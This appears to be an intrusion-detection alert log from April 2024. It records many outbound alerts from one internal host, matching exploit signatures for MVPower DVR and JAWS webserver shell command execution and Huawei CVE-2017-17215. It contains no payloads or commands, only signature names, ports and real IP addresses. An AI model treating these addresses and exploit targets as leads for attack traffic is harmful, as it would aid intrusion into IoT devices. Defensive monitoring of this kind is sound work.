ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 188.59.40.100

Timestamp:	04/14/24-04:00:55.504706
SID:	2025883
Source Port:	33266
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 23.80.218.14

Timestamp:	04/14/24-04:01:42.298419
SID:	2025883
Source Port:	54356
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 67.166.0.107

Timestamp:	04/14/24-04:01:41.938233
SID:	2025883
Source Port:	47608
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 198.211.117.232

Timestamp:	04/14/24-03:59:55.965496
SID:	2025883
Source Port:	45488
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 192.151.235.198

Timestamp:	04/14/24-04:00:55.425209
SID:	2025883
Source Port:	41840
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 107.146.234.158

Timestamp:	04/14/24-04:00:52.375717
SID:	2030092
Source Port:	42564
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 81.196.66.125

Timestamp:	04/14/24-04:00:26.549972
SID:	2030092
Source Port:	37700
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 93.190.199.140

Timestamp:	04/14/24-04:00:39.676085
SID:	2030092
Source Port:	52940
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 116.106.105.209

Timestamp:	04/14/24-04:00:47.652607
SID:	2030092
Source Port:	39820
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 125.133.17.134

Timestamp:	04/14/24-04:01:32.520290
SID:	2025883
Source Port:	48304
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 2.193.208.197

Timestamp:	04/14/24-04:00:37.076373
SID:	2025883
Source Port:	35694
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 23.47.140.224

Timestamp:	04/14/24-04:01:36.446584
SID:	2025883
Source Port:	55232
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 199.190.47.23

Timestamp:	04/14/24-04:01:02.730809
SID:	2025883
Source Port:	48196
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 18.154.216.239

Timestamp:	04/14/24-03:59:59.462809
SID:	2030092
Source Port:	44908
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 12.175.64.146

Timestamp:	04/14/24-04:01:12.492040
SID:	2030092
Source Port:	52220
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 66.102.1.100

Timestamp:	04/14/24-04:01:36.114586
SID:	2025883
Source Port:	51750
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 113.21.246.146

Timestamp:	04/14/24-04:00:43.674629
SID:	2025883
Source Port:	38538
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 188.150.117.221

Timestamp:	04/14/24-04:00:16.677255
SID:	2025883
Source Port:	42720
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 172.247.69.141

Timestamp:	04/14/24-04:00:21.771578
SID:	2030092
Source Port:	50184
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 187.45.195.230

Timestamp:	04/14/24-04:00:36.775036
SID:	2030092
Source Port:	56836
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 54.67.63.127

Timestamp:	04/14/24-04:00:43.058678
SID:	2025883
Source Port:	44120
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 64.68.101.146

Timestamp:	04/14/24-04:01:39.174627
SID:	2025883
Source Port:	40790
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 118.71.31.48

Timestamp:	04/14/24-04:00:38.992250
SID:	2030092
Source Port:	44008
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.241.97.130

Timestamp:	04/14/24-04:01:20.764935
SID:	2835222
Source Port:	40918
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 136.226.33.46

Timestamp:	04/14/24-04:01:37.508770
SID:	2030092
Source Port:	53380
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 72.167.55.19

Timestamp:	04/14/24-04:00:27.321266
SID:	2030092
Source Port:	42836
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 156.250.20.101

Timestamp:	04/14/24-04:01:15.989466
SID:	2030092
Source Port:	47538
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 5.39.219.157

Timestamp:	04/14/24-04:00:27.644950
SID:	2030092
Source Port:	36748
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 43.251.220.40

Timestamp:	04/14/24-04:01:49.957323
SID:	2030092
Source Port:	41678
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 5.150.254.149

Timestamp:	04/14/24-04:01:02.699129
SID:	2025883
Source Port:	40374
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 52.216.214.244

Timestamp:	04/14/24-04:01:47.400631
SID:	2025883
Source Port:	48258
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 45.85.76.45

Timestamp:	04/14/24-04:00:19.370793
SID:	2030092
Source Port:	45348
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 23.65.233.196

Timestamp:	04/14/24-04:01:41.938077
SID:	2025883
Source Port:	53036
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 34.141.65.190

Timestamp:	04/14/24-04:01:22.718384
SID:	2025883
Source Port:	55160
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 164.46.113.233

Timestamp:	04/14/24-04:01:49.311683
SID:	2030092
Source Port:	40004
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 92.205.173.124

Timestamp:	04/14/24-04:00:38.671898
SID:	2025883
Source Port:	47970
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 72.8.195.236

Timestamp:	04/14/24-04:00:15.470994
SID:	2025883
Source Port:	36266
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 45.39.159.30

Timestamp:	04/14/24-04:00:53.021786
SID:	2025883
Source Port:	49870
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 139.9.59.202

Timestamp:	04/14/24-04:00:43.799938
SID:	2025883
Source Port:	49524
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 92.255.78.26

Timestamp:	04/14/24-04:01:02.407725
SID:	2025883
Source Port:	46128
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 96.11.0.254

Timestamp:	04/14/24-04:00:46.396147
SID:	2025883
Source Port:	41054
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 147.135.174.32

Timestamp:	04/14/24-04:00:55.403432
SID:	2030092
Source Port:	36780
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 104.68.110.236

Timestamp:	04/14/24-04:01:19.481800
SID:	2030092
Source Port:	60918
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 63.195.174.53

Timestamp:	04/14/24-04:00:40.641385
SID:	2030092
Source Port:	33372
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 31.13.84.169

Timestamp:	04/14/24-04:00:26.879376
SID:	2025883
Source Port:	54720
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 51.15.239.17

Timestamp:	04/14/24-04:00:57.919186
SID:	2025883
Source Port:	41400
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 154.220.246.97

Timestamp:	04/14/24-04:01:32.314413
SID:	2030092
Source Port:	41278
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 95.17.49.95

Timestamp:	04/14/24-04:01:37.609587
SID:	2030092
Source Port:	57718
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 128.199.34.29

Timestamp:	04/14/24-04:00:43.209327
SID:	2030092
Source Port:	43446
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 195.28.70.15

Timestamp:	04/14/24-04:01:45.303264
SID:	2025883
Source Port:	58990
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 50.87.191.161

Timestamp:	04/14/24-04:01:49.401864
SID:	2025883
Source Port:	46398
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 199.232.161.63

Timestamp:	04/14/24-04:01:53.677032
SID:	2030092
Source Port:	37288
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 13.232.155.65

Timestamp:	04/14/24-04:00:22.807096
SID:	2025883
Source Port:	45014
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 77.51.82.198

Timestamp:	04/14/24-04:00:29.368516
SID:	2025883
Source Port:	57520
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 109.109.54.95

Timestamp:	04/14/24-04:00:24.790187
SID:	2025883
Source Port:	46062
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 51.75.161.197

Timestamp:	04/14/24-04:00:53.696334
SID:	2025883
Source Port:	54650
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 37.221.250.92

Timestamp:	04/14/24-04:01:13.758841
SID:	2025883
Source Port:	49504
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 154.194.149.105

Timestamp:	04/14/24-04:00:58.775901
SID:	2030092
Source Port:	48314
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.235.100.224

Timestamp:	04/14/24-04:01:48.398376
SID:	2835222
Source Port:	46546
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 104.218.232.35

Timestamp:	04/14/24-04:00:23.285416
SID:	2030092
Source Port:	34700
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 13.250.76.130

Timestamp:	04/14/24-04:00:26.568955
SID:	2025883
Source Port:	39674
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 111.89.205.206

Timestamp:	04/14/24-04:01:11.274951
SID:	2025883
Source Port:	34924
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 119.204.215.178

Timestamp:	04/14/24-04:00:59.240251
SID:	2030092
Source Port:	43072
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 46.235.189.35

Timestamp:	04/14/24-04:00:14.463199
SID:	2030092
Source Port:	54158
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 154.22.44.160

Timestamp:	04/14/24-04:01:36.404011
SID:	2025883
Source Port:	47080
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 103.19.242.39

Timestamp:	04/14/24-03:59:56.684803
SID:	2030092
Source Port:	44004
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 159.203.182.204

Timestamp:	04/14/24-04:00:15.478884
SID:	2030092
Source Port:	46530
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 5.196.251.0

Timestamp:	04/14/24-04:01:39.267833
SID:	2030092
Source Port:	39580
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 201.172.117.152

Timestamp:	04/14/24-04:00:51.824706
SID:	2030092
Source Port:	58046
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 80.209.252.57

Timestamp:	04/14/24-04:00:26.844855
SID:	2025883
Source Port:	58572
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 201.77.123.117

Timestamp:	04/14/24-04:00:33.644481
SID:	2030092
Source Port:	40466
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 20.7.224.72

Timestamp:	04/14/24-04:01:35.723502
SID:	2030092
Source Port:	40236
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 190.176.244.245

Timestamp:	04/14/24-04:01:18.096502
SID:	2025883
Source Port:	36776
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 104.232.102.48

Timestamp:	04/14/24-04:01:30.310744
SID:	2030092
Source Port:	54890
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 161.97.117.64

Timestamp:	04/14/24-04:00:16.679594
SID:	2030092
Source Port:	60794
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 20.29.183.40

Timestamp:	04/14/24-04:00:46.577069
SID:	2030092
Source Port:	59400
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 178.128.249.27

Timestamp:	04/14/24-04:01:19.624616
SID:	2030092
Source Port:	43492
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 208.186.235.80

Timestamp:	04/14/24-04:01:18.696332
SID:	2025883
Source Port:	59884
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 18.224.121.76

Timestamp:	04/14/24-04:00:52.053445
SID:	2030092
Source Port:	54068
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 95.100.235.124

Timestamp:	04/14/24-04:00:52.605156
SID:	2030092
Source Port:	60906
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 39.108.232.40

Timestamp:	04/14/24-04:00:14.055282
SID:	2030092
Source Port:	35740
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 172.255.83.242

Timestamp:	04/14/24-04:00:13.935441
SID:	2025883
Source Port:	58952
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 137.175.8.6

Timestamp:	04/14/24-04:01:04.313894
SID:	2025883
Source Port:	33956
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 188.114.228.73

Timestamp:	04/14/24-04:01:25.720532
SID:	2030092
Source Port:	34220
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 106.55.143.9

Timestamp:	04/14/24-04:00:29.351909
SID:	2025883
Source Port:	52858
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.43.168.76

Timestamp:	04/14/24-04:00:50.631750
SID:	2829579
Source Port:	35360
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 17.248.175.20

Timestamp:	04/14/24-03:59:54.925996
SID:	2030092
Source Port:	44542
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 154.95.185.195

Timestamp:	04/14/24-04:01:36.712498
SID:	2030092
Source Port:	44760
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 138.122.165.69

Timestamp:	04/14/24-04:01:42.477459
SID:	2025883
Source Port:	50646
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 142.112.26.153

Timestamp:	04/14/24-04:00:53.744168
SID:	2030092
Source Port:	56592
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 114.55.125.176

Timestamp:	04/14/24-04:00:29.705745
SID:	2030092
Source Port:	51830
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 34.49.210.122

Timestamp:	04/14/24-04:01:45.139466
SID:	2030092
Source Port:	60860
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 104.87.36.227

Timestamp:	04/14/24-04:00:21.665958
SID:	2025883
Source Port:	60332
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 47.225.41.28

Timestamp:	04/14/24-04:00:29.271232
SID:	2030092
Source Port:	43336
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 13.224.85.84

Timestamp:	04/14/24-04:01:49.638047
SID:	2025883
Source Port:	42882
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 199.67.121.162

Timestamp:	04/14/24-04:01:03.285949
SID:	2030092
Source Port:	49864
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 154.41.233.203

Timestamp:	04/14/24-04:01:46.885573
SID:	2025883
Source Port:	32906
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 23.76.198.249

Timestamp:	04/14/24-04:01:22.301796
SID:	2030092
Source Port:	59210
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 23.251.140.149

Timestamp:	04/14/24-04:01:30.455365
SID:	2025883
Source Port:	32868
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 201.218.209.226

Timestamp:	04/14/24-04:01:24.724116
SID:	2025883
Source Port:	42670
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 201.96.157.17

Timestamp:	04/14/24-04:01:45.452977
SID:	2025883
Source Port:	53076
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 121.89.58.33

Timestamp:	04/14/24-04:00:38.026702
SID:	2030092
Source Port:	37358
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 18.164.29.202

Timestamp:	04/14/24-04:01:22.744467
SID:	2030092
Source Port:	53076
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 8.130.104.154

Timestamp:	04/14/24-04:01:47.639398
SID:	2025883
Source Port:	51060
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 96.9.2.247

Timestamp:	04/14/24-04:01:32.213638
SID:	2025883
Source Port:	44506
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.241.90.3

Timestamp:	04/14/24-04:01:02.017271
SID:	2829579
Source Port:	40690
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 13.226.252.84

Timestamp:	04/14/24-04:01:36.562740
SID:	2030092
Source Port:	52682
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 167.82.21.21

Timestamp:	04/14/24-04:01:45.140848
SID:	2030092
Source Port:	37080
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 81.169.194.146

Timestamp:	04/14/24-04:00:15.057678
SID:	2030092
Source Port:	49432
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 112.90.95.147

Timestamp:	04/14/24-04:00:15.723724
SID:	2025883
Source Port:	40432
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 45.145.88.5

Timestamp:	04/14/24-04:01:03.864234
SID:	2025883
Source Port:	51604
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 52.68.126.111

Timestamp:	04/14/24-04:01:53.710843
SID:	2030092
Source Port:	55320
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

